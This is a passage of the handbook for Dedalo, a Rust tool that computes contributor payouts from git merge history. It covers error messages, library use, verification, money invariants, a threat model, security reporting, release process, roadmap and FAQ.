ConfigParse { path, source }dedalo.toml is not valid TOML, or has the wrong shape.The TOML error carries a span. Unknown keys are rejected, so check for a typo.
ConfigNotFound(path)No dedalo.toml up the directory tree.dedalo init, or -C at the right directory.
SerdeA ledger entry, plan or receipt could not be (de)serialised.Usually a hand-edited object. See below.
Amount { value, decimals }An amount is not a valid decimal at the asset’s precision.--amount 1.5 on a 0-decimal asset, or a stray thousands separator.
Address { value, reason }A payout destination is not a usable address.Almost always a bad EIP-55 checksum — the reason says so.
Overflow(what)Arithmetic on money or weights would have wrapped.The round is too large for the asset’s base units. This is a refusal, not a rounding.
UnknownIdentity(email)A commit author has no wallet mapped.dedalo identity link.
Settlement { backend, reason }A backend refused to execute the plan.The reason names exactly one rule. See below.
LedgerCorrupt { id, reason }The chain does not hash to what it claims.Not a parse failure. See below.
NotImplemented { feature, hint }The capability exists in the API but is not live.The hint says what to do instead.

NotImplemented is not a bug

$ dedalo settle --plan ded106bd7281 --execute
error: evm broadcasting is not implemented yet in this release:
       use `dedalo propose` and execute the transactions from your multisig

The evm backend validates the configuration and builds the exact distributor call the plan translates into, then stops. It does not return a fake receipt, because a settlement path that lies is worse than one that is missing. See Settlement.

LedgerCorrupt means the record changed

$ dedalo verify
error: ledger is corrupt at dedc41…: entry does not hash to its recorded id

This is the mechanism working, not failing. Each entry hashes over its parent, so an entry edited after the fact breaks every id after it. Three causes, in order of likelihood:

  1. .dedalo/ was partly committed. An object is missing from the clone. Check git status and whether anything under .dedalo/ is ignored.
  2. An object was hand-edited. Restore it from git history; do not “fix” the ids to match.
  3. Two branches recorded rounds independently and were merged. The chain forked. Decide which history is real before settling anything else.

Careful — the fix for a broken chain is never to edit ids until verify passes. That produces a ledger that verifies and is wrong, which is strictly worse than one that does not verify.

Settlement refusals

Every one of these names exactly one rule, and a test asserts that no two refusals share a sentence:

MessageWhat it means
plan id does not match its contentsThe plan was edited, or built by a different version.
this plan id was already settledThe ledger has it. A retry, working as intended.
a transfer would go to the zero addressA [wallets] placeholder was never filled in.
the round reaches nobodyThe whole contributor pool is undistributed. --allow-undistributed if that is genuinely what you meant.

The on-chain vault’s refusals are listed under The refusals are the specification.

Reporting one

A GitParse error, a panic, or an arithmetic result you believe is wrong is a bug. Open an issue with the command, the output, and dedalo --version.

Anything where the amount is or could be wrong goes through SECURITY.md as a private advisory, never a public issue. That includes credit assigned to the wrong person: it is a payment defect, and it is treated like one.

Using the library

The binary is a thin shell over the library in the same crate. Everything the CLI does is available to a bot, a GitHub App, a dashboard, or your own settlement backend.

Signatures and types live on docs.rs/dedalo, which publishes the reference for each released version. This chapter is the shape of the thing, not the shape of every function.

Depending on it

[dependencies]
dedalo = { version = "0.1", default-features = false }

default-features = false drops the cli feature, and with it clap, tokio, toml_edit, tracing-subscriber and libc. What is left is the pipeline.

FeatureDefaultBrings
clionThe command-line interface and the runtime it needs.
testingoffdedalo::testing, for building throwaway repositories with real merges.

Everything under dedalo::cli is private except Cli, Command and the entry points. Terminal output is not API.

The short path

Engine ties a repository, its config and its ledger together, and is the shortest route through all four stages:

use dedalo::{Engine, money::Amount};

let engine = Engine::discover(".")?;
let merges = engine.scan(None)?;                 // unpaid merges
let attribution = engine.attribute(&merges);     // contribution weights
let plan = engine.plan(&merges, &attribution, Amount::from_base_units(1_000_000))?;

for item in plan.contributors() {
    println!("{:>12} → {}", plan.asset.format_amount(item.amount), item.handle);
}

Engine::discover walks up from a path looking for dedalo.toml, the way git finds .git. Engine::new assembles one from parts, for tests or for an alternative git backend.

The modules

ModuleResponsibility
gitGitBackend trait and CliGit, which drives the git binary.
attributionMerge history → integer contribution weights.
attribution::identityGit emails → payable wallets.
moneyAmount, Asset, and exact splitting.
money::treasuryThe fee schedule and the protocol/treasury/contributor split.
payoutPayoutPlan, its content hash, and its invariants.
chain::walletValidated, checksummed addresses.
chain::merkleThe claim tree a round is deposited against.
chain::vaultThe rules a deployed contract enforces, as pure functions.
chain::settlementThe Settlement trait, and the dry-run and EVM backends.
storage::ledgerThe hash-chained event log and the payout cursor.
storage::objectsThe content-addressed object store.
configdedalo.toml, parsed and validated.
errorError and Result.

Each is usable on its own. money has no idea git exists; attribution has no idea money does.

Substituting a backend

Two traits are meant to be implemented from outside.

GitBackend

Four methods: the repository root, the current branch, resolving a revision, and listing merges matching a query.

use dedalo::git::{GitBackend, HistoryQuery, MergeEvent};

struct MyBackend { /* … */ }

impl GitBackend for MyBackend {
    fn root(&self) -> &std::path::Path { /* … */ }
    fn current_branch(&self) -> dedalo::Result<String> { /* … */ }
    fn resolve(&self, rev: &str) -> dedalo::Result<String> { /* … */ }
    fn merges(&self, query: &HistoryQuery) -> dedalo::Result<Vec<MergeEvent>> { /* … */ }
}

Implement it to read from libgit2, from a forge’s API, or from a version control system that is not git. Everything downstream sees MergeEvent values and never knows the difference — which is the groundwork for running on more than git.

Settlement

Implement it to add a chain, or to route a plan through your own custody process. The contract is narrow on purpose: a settlement re-verifies the plan before acting, and returns a receipt or an error.

Careful — if you implement this, do not return a receipt for something that did not happen. The shipped evm backend returns NotImplemented rather than a plausible-looking success, and that is the standard to hold.

Testing against real repositories

The testing feature builds throwaway repositories with real merge commits, which is why nothing in this project mocks git:

[dev-dependencies]
dedalo = { version = "0.1", features = ["testing"] }
use dedalo::testing::TempRepo;

let repo = TempRepo::new("example");
repo.merge_feature("feature-a", ("Ada", "ada@example.com"), 40);
repo.merge_feature("feature-b", ("Bea", "bea@example.com"), 40);

A mock would only test the mock. git log --merges has enough surface — first parents, trailers, empty merges, octopus merges — that a fake of it tests a version of git nobody runs.

Determinism is your problem too

If you build on the library, the guarantee that makes plans checkable is only as strong as the code around it. Two rules:

  • Do not introduce I/O into stages 1 to 3. A price feed, a contributor list fetched from an API, anything with a clock — each turns a reproducible computation into a snapshot nobody else can reproduce.
  • Do not reformat amounts through floats. Amount is a u128 of base units, and Asset::format_amount is for display. A round trip through f64 loses base units above 2^53.

What is proved, and what is only tested

Tests sample. Some of this codebase is proved, and the difference is worth being exact about — so it is written down per module in verification.toml rather than implied by a badge.

The methods

MethodWhat passing means
exhaustiveEvery value in a complete finite domain was tried. No counterexample exists in that domain.
propertyThousands of generated samples. Not a proof — a rare counterexample can survive, and one did.
testsHand-picked cases.
proofsThe module is not verified; it is verification. A proofs.rs compiles only under cfg(test) and ships in no release.
exemptThe module decides neither how much money moves nor where it goes. Must have zero arithmetic sites, and must not build an address.
bindingA document the code is checked against.

Being honest about which is which is the point. A module marked property is not proved, and the manifest is where that is admitted rather than implied.

What is exhaustively proved today

  • Every fee schedule — all 50,005,000 (protocol_bps, treasury_bps) pairs that validate, against the amounts where integer arithmetic breaks: the three slices sum to exactly the gross, and no fee is ever rounded up.
  • Every basis-point value — all 65,536: floor-exact, never exceeding the input.
  • Every small weight vector — all 2,800 of length ≤ 4 with weights ≤ 6: shares conserve the total, a zero weight is never paid, a larger weight never receives less.
  • Every tree shape to 64 claims — each claim proves against its own root, and against no other claim’s proof.

The gross amount is not enumerable, so it is pinned to the values where integer arithmetic breaks rather than sampled randomly. Longer weight vectors and larger weights are sampled by property tests, and the manifest says so.

Run them:

cargo test --release -- --ignored

They are #[ignore] because fifty million fee schedules is not a thing to put in the inner loop of cargo test. ws-check runs them.

The manifest is a gate, not a table

tests/verification_manifest.rs is what keeps the table above from becoming decoration. It fails the build when:

  • a module under src/ is not accounted for in verification.toml;
  • a declared proof’s test has been deleted;
  • the money arithmetic in a module changes count — every module records arithmetic_sites, and if the number moves, somebody has to look;
  • a module claiming exemption starts doing arithmetic or starts building an address.

So a new module cannot be merged without someone deciding what verifies it, and an exemption cannot quietly stop being true. Adding a multiplication to the money path is a build failure until it is acknowledged.

The layers of the test suite

LayerWhat it holds down
unitThe arithmetic, parsing and config, next to the code.
property (proptest)The money invariants, over thousands of generated rounds.
adversarialWhat the system must refuse. Every test is a way money could be lost.
end-to-endThe library against real repositories with real merge commits.
CLIExit codes and the --json shape action.yml parses.

tests/adversarial.rs is the one to read first. It asks whether Dedalo can be made to compute a wrong answer: whether two different plans can share an id, whether one account spelled two ways can be paid twice, whether a plan id can steer a filesystem path, whether a mistyped address survives its checksum.

Each test marked FOUND: is a regression test for a defect that was real here — not a hypothetical. Including one where the defect turned out to be the claim in the README rather than the code.

Two things deliberately not claimed

property is not a proof. It is labelled as such everywhere it appears. A rare counterexample can survive thousands of samples, and one did: the EIP-55 collisions now pinned in tests/adversarial.rs were found by reasoning about the encoding, not by generating inputs.

There is no smt row any more, and that is a loss worth naming. The previous vault was Solidity, and solc --model-checker-engine bmc discharged all ten of its arithmetic conditions with a solver — a stronger statement than any test. Rust has no equivalent that terminates on this codebase; Kani was measured and rejected. Those conditions are now covered by tests rather than proved.

What was gained is that the rules are in the same language as everything else, tested with the same machinery, and readable without a second toolchain. That is a real trade, and it went in the direction of legibility at the cost of strength. Anyone deciding whether to trust the vault should weigh it knowing which way it went.

The vault

The rules a deployed contract enforces are ordinary Rust in src/chain/vault, with a test per way it must refuse. Refusal is the specification, and a test asserts that no two refusals share a sentence — so a revert reason identifies exactly one rule rather than a family of them.

It is unaudited and undeployed. Tested by its author, reasoned about by its author, and never having held a coin. See Before real funds move.

Reading the manifest yourself

grep -A3 '^\[modules' verification.toml

Each entry names the method, the number of arithmetic sites, the harnesses that back a claim, and a note saying what the claim covers and what it does not. If a module’s note says something is sampled rather than proved, that is the honest state of it.

The invariants

Ten statements. Each one is a reason the project can be trusted with money, each one has tests, and each one is a thing that would be a defect rather than a preference if it stopped being true.

They are listed here in the order they matter to somebody deciding whether to run a round.


1. Money is integers

money::Amount is a count of base units. No f64 ever touches a balance. Percentages are basis points (u16), never floats.

Why: 0.1 + 0.2 != 0.3 in binary floating point. A payout system whose shares do not add up to the round either creates money or loses it, and neither is recoverable by looking at the output.

Money

2. Splits conserve the total

Amount::split_by_weights uses the largest-remainder method and must sum back to exactly the input. A plan’s items always sum to its gross amount.

Why: rounding each share independently loses or creates base units depending on which way the fractions fell. Small per round; unbounded over time.

Proved exhaustively for every weight vector of length ≤ 4 with weights ≤ 6.

3. Fees round down; dust goes to contributors

Never the other way round.

Why: the alternative rounds fractions of a base unit into the protocol’s pocket, on every round, forever. This is the one place an arbitrary choice had to be made, and the direction is the whole of it.

Proved exhaustively over all 50,005,000 fee schedules that validate.

4. Plans are content-addressed

PayoutPlan::id hashes everything that determines the outcome, and deliberately excludes created_at. Two runs over the same history and config produce the same id.

Why: it is what makes a round checkable by somebody who does not trust the person who published it. Recompute, compare one string.

The id

5. One wallet, one transfer

A contributor with several emails is merged into a single item before a plan is finalised. Addresses compare case-insensitively.

Why: EIP-55 means one account has two valid spellings. A case-sensitive comparison would make them two payees — which is both a double payment and a payout table that lies about how many people there are.

One wallet, one transfer

6. Nobody is silently dropped

A contributor with no wallet appears in plan.unresolved with a reason, and their share is accounted for in undistributed.

Why: the failure mode this replaces is a round that quietly pays out less than it says, to fewer people than earned it, with nothing in the output saying so. That defect was real here — see the FOUND: tests.

7. Rounds are idempotent

The ledger refuses to settle the same plan id twice and holds an exclusive lock while settling. DedaloClaim.deposit refuses the same plan id on chain.

Why: a retried CI job must not pay twice. Two independent mechanisms, because the failure mode is paying people twice out of a treasury.

Idempotence

8. Attribution is integer-scored

Scores are milli-points (u128), so the same history yields the same weights on every machine.

Why: two contributors getting different shares from the same history on different laptops, with neither able to prove the other wrong.

9. The ledger is a hash chain

Every entry in .dedalo/objects names its parent and hashes over it, so an entry edited after the fact breaks every id since. dedalo verify checks it, and needs no network and no key.

Why: an append-only file is append-only by convention. This is append-only by arithmetic. Never write a path that appends without linking to the current head.

The ledger

10. Dedalo holds no signing key

dedalo propose prints transactions; people execute them from a multisig. settlement.signer_env was removed on purpose — do not reintroduce a config key that names one.

Why: a key in CI is reachable by everything that can write a workflow. A compromised workflow should cost embarrassment, not the treasury.

Why the key is not in CI


If you are changing code near one of these

Add tests. That is not a formality:

  • Anything touching money, attribution, money::treasury or payout needs a test proving the amounts still balance — including the awkward cases: zero weights, a single payee, amounts that do not divide.
  • A new rule about what people are paid belongs in src/money/proofs.rs, src/payout/proofs.rs or tests/adversarial.rs, not only in a hand-picked example.
  • A new module needs an entry in verification.toml, and the gate will not let it merge without one.

Careful — do not weaken a test to make it pass. If an amount no longer balances, the arithmetic is wrong, not the assertion. This is the single most important line in the contributing guide.

Threat model

Who could make Dedalo pay the wrong person, or the wrong amount, and what stops them.

This is written from the attacker’s side on purpose. A list of features is easy to feel good about; a list of attacks is what tells you whether the features are the right ones.

What is being protected

  1. The amounts. That the round pays what the history and the config say.
  2. The destinations. That money reaches the people who earned it.
  3. The record. That what was paid can be checked afterwards by somebody who was not there.

Notably not protected, because it cannot be: that the funding source has money in it, that the multisig signers are honest, or that the project’s maintainers score contributions fairly. Those are governance, and Dedalo makes them visible rather than solving them.


A contributor games attribution

Attack. Inflate your own score: vendor a dependency, reformat the tree, add generated files, split one change across twenty merges.

What stops it, partly. max_points_per_merge caps any single merge. base_points means twenty small merges are worth more than one large one — so splitting is rewarded, and that is a real limitation rather than a defence.

What does not stop it. Nothing prevents a contributor from writing verbose code, and no line-counting formula can. The mitigation is social and it is the same one the project already has: the merge had to be reviewed. Dedalo pays for merged code, and a project that merges padding has a review problem, not an attribution problem.

Set max_points_per_merge before the round rather than after it.

A maintainer edits the record

Attack. Change an old ledger entry to say a round paid somebody it did not, or to hide one that happened.

What stops it. The ledger is a hash chain. Editing an entry changes its id; every later entry named the old id, so their ids change too, and HEAD stops matching. dedalo verify catches it on any clone, with no network and no key.

Residual. A maintainer can rewrite the whole chain and force-push, which is visible as a force-push and as a HEAD that does not match anything anybody previously saw. Publishing the ledger HEAD in release notes makes that detectable rather than merely possible to detect.

Someone substitutes a wallet address

Attack. A contributor’s address is changed — in a pull request to dedalo.toml, or in transit before the maintainer pastes it.

What stops it, partly. EIP-55 validation catches typos, and identity link reports how many bits that check is worth rather than implying it is absolute.

What does not stop it. A checksummed address is a valid address, not a correct one. An attacker substituting a valid address of their own passes every check Dedalo makes.

Mitigation, which is procedural: the change to dedalo.toml is a reviewed commit with an author, and the address should be confirmed with the contributor through a second channel. This is the largest residual risk in normal operation and it is not a cryptographic problem.

A CI job is compromised

Attack. A malicious pull request, a compromised action, or a dependency’s build script gets code execution in the workflow that funds rounds.

What stops it. There is nothing to steal. Dedalo holds no signing key — not in CI, not in config, not in an environment variable. The config key that named one was removed and must not come back. The worst outcome is a wrong plan being proposed, and a proposal has to be read and signed by people.

This is the single largest design decision in the project, and it is why the workflow hardening (pinned action SHAs, zizmor, no ${{ }} in run:) matters as much as the arithmetic.

Someone tampers with a plan between review and settlement

Attack. The plan is approved in a pull request; a different plan is settled.

What stops it. Plans are content-addressed. Settlement re-derives the id from the plan’s contents and refuses one that does not match, and the operator refers to the round by id (--plan ded1…) rather than recomputing it.

Residual, and it is an operator error rather than an attack: running settle --amount 1000 instead of settle --plan ded1… recomputes from current history. If a merge landed since the review, that is a different round and nothing objects. Save the plan and settle by id.

A round is paid twice

Attack. Re-run the settlement job, or run two concurrently.

What stops it. Three mechanisms:

  1. The ledger refuses a plan id already recorded as settled.
  2. An exclusive lock is held for the duration, so two jobs cannot both pass the check.
  3. DedaloClaim.deposit refuses a plan id it has already seen, on chain.

Two of those are independent of each other, which is the point.

A malicious token

Attack. The configured asset is a token that takes a fee on transfer, or reverts selectively, or re-enters on transfer.

What stops it. The vault refuses a deposit that delivers less than the round promises (ShortDelivery) — a round that promises more than it holds pays early claimants and strands the rest. It advances claimed before transferring, so a token with a transfer hook cannot re-enter and take the same index twice.

Residual. The vault is unaudited. These paths have been reasoned about and tested by their author and by nobody else.

A plan id steers a filesystem path

Attack. Craft a plan whose id contains ../ and write outside .dedalo/objects.

What stops it. Ids are hex from a hash and are validated as such before they are used as paths. This is one of the things tests/adversarial.rs tries explicitly.

Two plans share an id

Attack. Construct two different rounds that hash to the same id, so one can be substituted for the other after review.

What stops it. SHA-256, and — more usefully against the practical attack — length-prefixed field encoding, so ("ab","c") and ("a","bc") cannot serialise to the same bytes. tests/adversarial.rs tries to build the collision.


Where the real risk is

Ranked, honestly:

  1. The contract is unaudited and undeployed. Everything about on-chain settlement is unproven in practice, which is why it is not live.
  2. Address substitution. Procedural, not cryptographic, and the one that would actually happen.
  3. Attribution is a policy, not a truth. It measures merged lines. A project that believes that equals contribution will underpay its reviewers and its maintainers.
  4. Operator error. Settling --amount instead of --plan, skipping a range with --since, not committing .dedalo/.

Nothing in the first four is fixed by more tests on the arithmetic. The arithmetic is the part that is proved.

Reporting

Anything where an amount is or could be wrong goes through SECURITY.md as a private advisory, never a public issue — including credit assigned to the wrong person. See Reporting a vulnerability.

Reporting a vulnerability

Never in a public issue, and never in a discussion. Not a suspected one, not a “probably nothing”.

Open a private advisory

What counts as a security issue here

Dedalo computes and executes payments, so the list is wider than “remote code execution”. Treat any of the following as a security issue rather than an ordinary bug:

  • a payout plan that pays the wrong amount, the wrong address, or twice;
  • a way to make a plan’s id stay the same while its transfers change;
  • a way to make attribution credit someone who did not write the code;
  • anything that exposes, logs, or persists a signing key;
  • a way to settle a plan the ledger should have refused.

Credit assigned to the wrong person is on that list deliberately. It is a payment defect, and it is treated like one.

What to include

  • What it can cause, concretely, in amounts. “The protocol fee is overcharged by one base unit per round” is more useful than “rounding looks suspicious”.
  • Steps to reproduce, ideally as a failing test. The test suite has a place for it already: tests/adversarial.rs is where defects that were real become regressions.
  • The version or commit you tested.

What happens next

Acknowledgementwithin 72 hours
Assessmentwithin seven days
Creditin the advisory, unless you prefer otherwise

Scope

Supported: the latest release and the main branch.

Out of scope: the security of chains, wallets, RPC providers or Open Collective themselves; misconfigured dedalo.toml files in third-party repositories; and key management on a user’s own machine.

Current status

On-chain broadcasting is not live. The evm backend validates and builds the distributor call, then stops before signing. Until the distributor contract is deployed and audited, no version of Dedalo can move funds on its own.

That narrows the practical attack surface considerably today — and it is exactly why a finding in the arithmetic, the plan id, or the ledger is worth reporting now, while it costs nothing to fix.

Never post these anywhere

Private keys, seed phrases, or anything from a wallet. Nobody working on this project will ever ask for one, and a revoked key is still a key someone can learn from. Addresses are public and fine to paste; the thing that signs for them is not.

Development

Contributing here is, fittingly, the thing the project is built to reward.

The canonical guide is CONTRIBUTING.md in the repository. This chapter is the working loop and the parts that surprise people.

Getting a toolchain

Install rustup. It reads rust-toolchain.toml when you enter the repository, so you get the same compiler CI uses without choosing one.

The MSRV is 1.90.0, and it is enforced rather than documented: CI builds with exactly the compiler rust-version names. It was raised to 1.90 when the ABI encoder became alloy-sol-types — the fix for RUSTSEC-2026-0220 in ruint needs 1.90, and the alternative was shipping a known-vulnerable big-integer library in a payments tool.

The loop

cargo test --workspace --all-features
cargo clippy --workspace --all-targets --all-features -- -D warnings
cargo fmt --all

Those three catch almost everything CI checks. The rest:

cargo doc --no-deps --open              # rustdoc, with -D warnings in CI
cargo test --release -- --ignored       # the exhaustive proofs
cargo deny check                        # licence, advisory and source policy
cargo publish --dry-run                 # what crates.io would receive
scripts/check-contract.py               # the deployable still fits its chain

What CI checks that your laptop does not

Build and tests on Linux, macOS and Windows; the declared MSRV built with exactly that compiler; rustdoc with -D warnings; coverage; the musl packaging path; and public-API compatibility with the last release.

Pull requests

Titles follow Conventional Commits and are checked automatically. Pull requests are squash merged, so the title becomes the changelog entry — write it for a reader of the release notes:

feat(cli): add `dedalo identity export`
fix(money): keep dust with contributors when a weight is zero
docs: explain how the protocol fee funds the network

One concern per pull request. A refactor and a behaviour change in the same diff are two pull requests.

Anything that changes what people are paid is breaking — amounts, plan ids, the fee split — even when it compiles. Say so with BREAKING CHANGE: in the body. See Releasing.

Three gates that catch people out

Public items must be documented

The crate sets #![warn(missing_docs)] and CI builds rustdoc with -D warnings, so an undocumented pub item fails the build.

Write what the item is for, not what its name already says. /// The wallet. on a field called wallet passes the linter and helps nobody.

A new module needs a verification entry

verification.toml accounts for every module under src/, and tests/verification_manifest.rs fails the build if one is missing. Say how it is verified, or why it needs none — an exemption with a reason is a fine answer, and the gate keeps the reason true by refusing to let an exempt module do arithmetic or build an address.

Adding arithmetic anywhere changes a recorded count and fails the build until somebody looks. That is the gate doing its job, not an obstacle to route around: update arithmetic_sites in the same commit that adds the arithmetic, and let the reviewer see both.

Money changes carry tests

Anything touching money, attribution, money::treasury or payout needs a test proving the amounts still balance — including the awkward cases: zero weights, a single payee, amounts that do not divide.

A new rule about what people are paid belongs in src/money/proofs.rs, src/payout/proofs.rs or tests/adversarial.rs, not only in a hand-picked example.

Careful — do not weaken a test to make it pass. If an amount no longer balances, the arithmetic is wrong, not the assertion.

Conventions

  • Comments explain why. The code says what it does. A comment earns its place by explaining a decision, a constraint, or a non-obvious consequence. Do not narrate the next line.
  • Errors are typed. The library returns error::Error; the CLI wraps with anyhow and adds user-facing context. Do not unwrap() outside tests.
  • Tests live next to the code. Unit tests in mod tests, cross-cutting behaviour in tests/. Test names are sentences: split_conserves_every_base_unit, not test_split_2.
  • Use dedalo::testing, which builds throwaway repositories with real merges, rather than mocking git. A mock would only test the mock.
  • 100 columns. rustfmt.toml is the authority, stable options only.

The layout

Only lib.rs and main.rs sit at the top of src/. Everything else is a directory, because a loose file there is a concern nobody has decided the shape of yet.

PathWhat it is
src/lib.rsThe crate root: module list and Engine.
src/main.rsA three-line shim over dedalo::cli::main.
src/money/Amounts, assets, the fee schedule — and proofs.rs.
src/attribution/Scoring merges, and the identities they belong to.
src/payout/The content-addressed plan — and proofs.rs.
src/chain/Wallet, merkle, vault, settlement, and the deployable.
src/storage/The object store and the hash-chained ledger.
src/git/Reading merge history.
src/cli/The command surface, behind the default cli feature.
tests/The four that must run from outside.

A proofs.rs inside a module is its property and exhaustive suite. It compiles only under cfg(test) and ships in no release.

Things to be careful about

  • Never fabricate on-chain behaviour. The evm backend returns NotImplemented instead of pretending to broadcast. Do not “fix” that with a fake receipt.
  • The leaf encoding is pinned. chain::merkle::the_leaf_encoding_has_not_moved holds a root and a proof against a fixed fixture — it is what a deployed vault verifies against. Changing it deliberately is fine; the commit has to say why.
  • The vault is thin on purpose. chain::vault holds every rule and is pure. src/chain/contract is a Stylus binding and must stay that way — a rule that appears there instead of in vault is a rule that cannot be tested.
  • The deployable has a hard size limit. Stylus rejects anything over 24 KiB compressed; scripts/check-contract.py measures it.
  • docs/settlement-architecture.md is binding. If the code disagrees with it, one of the two is wrong, and the answer is not to quietly change the code.
  • Never read or write signing keys. Not logged, not echoed, not copied into config, not committed.
  • dedalo.toml and .dedalo/ are public records. They belong in git. Do not add them to .gitignore.
  • Never move a published tag. If a release is broken, fix forward.

Workflow safety

  • Never interpolate ${{ }} into a run: block. Pass it through env:. The Action executes in other people’s repositories with their secrets in scope; zizmor fails the build on this and it is right to.
  • Every third-party action is pinned to a commit, with the tag as a trailing comment. A moving tag can be repointed at new code by whoever owns it, and these workflows hold release secrets.
  • Never add a checkout to triage.yml. It runs on pull_request_target, which means a write token; checking out the pull request’s code there would hand that token to a fork.
  • Builds that publish artifacts do not restore caches. A cache a pull request could have written must not reach a released binary.

Releasing

One version, one tag, one set of artifacts. The library and the binary are one crate, so v0.4.0 means exactly one thing: dedalo is at 0.4.0 on crates.io, and the tagged commit built it.

The full policy is RELEASING.md in the repository. This chapter is the part that affects anyone writing a pull request.

What counts as breaking

Deliberately wider than usual, because people are paid based on this code:

ChangeBump
A given history + config produces different payout amountsmajor
A plan’s id changes for unchanged inputsmajor
Any public Rust API is removed or changes shapemajor (minor pre-1.0)
A CLI flag or a --json field is removed or renamedmajor (minor pre-1.0)
New attribution options, backends, commands, output fieldsminor
Bug fixes that make amounts correct, docs, internalspatch

A change to Amount::split_by_weights, PayoutPlan::compute_id, or the fee split is breaking even if it compiles, because it changes what people receive. Say so with BREAKING CHANGE: in the pull request body.

Money — a plan id that changes for unchanged inputs invalidates every published round’s reproducibility check. The id encoding carries a version byte precisely so an old id and a new one are distinguishable rather than merely different.

The changelog is your pull request title

CHANGELOG.md is generated from Conventional Commit subjects with git-cliff, and pull requests are squash merged. The title becomes the release note.

feat(cli): add `dedalo identity export`
fix(money): keep dust with contributors when a weight is zero

Write it for somebody reading the release notes, not for somebody reading the diff.

Cutting one

Nothing requires a maintainer to run commands locally: two workflow runs and one pull request review.

  1. Open the release pull request — run the Version workflow from the Actions tab and pick patch, minor, major or an explicit version. It bumps the crate version, refreshes Cargo.lock, prepends the generated changelog section, and opens a pull request labelled release.

  2. Review it — read the changelog diff as a user would. Does it describe what changed, and is the bump right for it? Edit the changelog in the branch if a generated line is unclear: the file, not the workflow, is the published record.

  3. Merge it — merging a release-labelled pull request triggers Tag, which creates v<version> through the GitHub API (no credential is ever written into a checkout) and then calls Release directly. It has to call it: GitHub suppresses events caused by GITHUB_TOKEN, so a tag created by a workflow raises no push.

  4. Watch the release build — it re-runs fmt, clippy and the full suite on the tagged commit, verifies the tag matches the workspace version, builds five targets with SHA-256 checksums, attaches signed provenance, publishes the GitHub release with the changelog section as its notes, and publishes to crates.io.

Careful — never edit the version by hand. scripts/bump-version.sh is the only thing allowed to change it, and the Version workflow drives it.

If step 4 fails after the tag exists, fix forward: delete the tag, merge the fix, re-run Tag. Never move a tag a release already published — somebody may already have downloaded it.

The one tag that moves

v0 — and v1 after it — follows the latest release, because uses: dedalo-org/dedalo@v0 is how a GitHub Action is consumed. It is a pointer to an immutable release tag, so nothing that was published ever changes underneath anybody. Pin @v0.1.0 to freeze a workflow.

Verifying a release

Anyone can check a published binary against what the tag claims:

curl -fsSL https://github.com/dedalo-org/dedalo/releases/download/v0.1.0/dedalo-v0.1.0-x86_64-unknown-linux-gnu.tar.gz.sha256
sha256sum dedalo-v0.1.0-x86_64-unknown-linux-gnu.tar.gz

# Or the signed provenance, which also proves which workflow built it
gh attestation verify dedalo-v0.1.0-x86_64-unknown-linux-gnu.tar.gz --repo dedalo-org/dedalo

Or rebuild it:

cargo install dedalo --locked --version 0.1.0

Where documentation goes at release time

DocumentationPublished byVersioned?
API referencedocs.rs, from the crates.io uploadyes, per release
This handbookGitHub Pages, from mainno — always current
ChangelogThe GitHub release and CHANGELOG.mdper release

The API reference is not built from main any more. docs.rs builds it from the published crate, which means the reference somebody reads matches the version they installed rather than whatever main looked like that morning.

Roadmap

What is done, what is next, and what is deliberately not being decided yet.

The authoritative list is the milestones and the issue tracker. This page is the shape of it.

Done

  • Git-derived attribution, with co-author support
  • Deterministic, content-addressed payout plans
  • Fee schedule with protocol / treasury / contributor split
  • Append-only hash-chained ledger, with idempotent rounds
  • EIP-55 address validation that reports its own strength
  • The vault’s rules, as pure Rust with a test per refusal
  • The Stylus deployable, inside the 24 KiB limit
  • GitHub Action wrapper
  • Exhaustive proofs for the fee schedule, basis points, small weight vectors, and every tree shape to 64 claims
  • The verification manifest gate

v0.1.0 — first release

Publishing the crate, and being honest in the process about what it does and does not do.

The pipeline works and is tested end to end. What v0.1.0 adds is not capability but availability: a crate on crates.io, an API reference on docs.rs, this handbook, and documentation good enough that somebody can decide whether to trust it without reading the source.

v0.2.0 — on-chain settlement

The list from the architecture document, and none of it is optional:

  1. A claim contract with the Merkle root, a per-round replay guard keyed on the plan id, and an expiry path for unclaimed funds.
  2. An independent audit of it, published.
  3. A Safe, with signers who are not one person.
  4. A testnet round settled end to end, from dedalo plan to a claim.

Until the first four exist, the honest state of this project is what the code already says: Error::NotImplemented.

Not decided: which chain to launch on. The template names Base and real mainnet USDC — a default that was never chosen deliberately and should be. Testnet first is the safer starting point. Tracked in issue #15.

Beyond

Attribution that measures more than lines

The largest known gap. Review is contribution, and a merge scores nothing for the person who caught the bug in it. Review-weighted attribution is the first step; issue triage and documentation written outside the repository are harder and not yet designed.

Version control beyond git

Everything downstream of the git module is already abstract over the version control system: GitBackend is a trait, and the rest of the pipeline sees MergeEvent values rather than git invocations. Making that real — running on Jujutsu, Mercurial, Sapling, or a forge’s API without a working tree — is issue #23.

The framing matters: git-compatible, not git-dependent. Git stays the reference implementation and the source of truth for git projects. What changes is that “a merge” stops being a git-only idea in the type system.

Squash-merge repositories

A repository that squash-merges without merge commits produces no merge events, and the failure mode is an empty round rather than an error. Issue #13.

What is deliberately not on this list

  • A hosted service. Dedalo runs in your pipeline and reads your repository. A dashboard that holds the data is the thing this project exists not to be.
  • A signing key, ever. Not as an opt-in, not behind a flag. See why.
  • A token. The protocol fee flows to an Open Collective wallet. There is nothing to buy.
  • Judging contribution. Dedalo computes what a config says. Whether the config is fair is the project’s decision, made in the open, in a file that is reviewed.

FAQ

Does Dedalo hold my money?

No, and it cannot. It holds no signing key — not in CI, not in config, not on a maintainer’s machine. dedalo propose prints transactions; people execute them from a multisig. There is no flag that changes this.

Can I use it without any crypto?

Yes, for everything except settlement. plan, contributors, scan, verify and the whole ledger work offline with no chain involved. Plenty of projects will get value from “who contributed what, computed the same way every time” without ever funding a round.

The [wallets] addresses are required by the config, but the zero-address placeholders are fine if you never settle.

Is it live? Can it pay people today?

The pipeline is live. On-chain broadcasting is not. The evm backend validates the config, builds the exact call a plan translates into, and then returns NotImplemented rather than a fake receipt. The claim contract is unaudited and undeployed.

See Before real funds move.

Why does the same command give a different plan id?

Something that goes into the id changed: a new merge landed, or dedalo.toml changed. The id covers the project, asset, range, split and items — not the timestamp. git diff dedalo.toml and compare range.to_commit.

Why is a contributor missing from my plan?

Almost always because no identity links their email. Check:

dedalo identity missing

They are not dropped — they are in plan.unresolved, and their share is in undistributed.

Someone commits from three different emails. Do they get paid three times?

No. One handle, one wallet, many emails, and contributors are merged into a single item before the plan is finalised. Addresses compare case-insensitively, so the two EIP-55 spellings of one account are also one payee.

Does it work with squash merges?

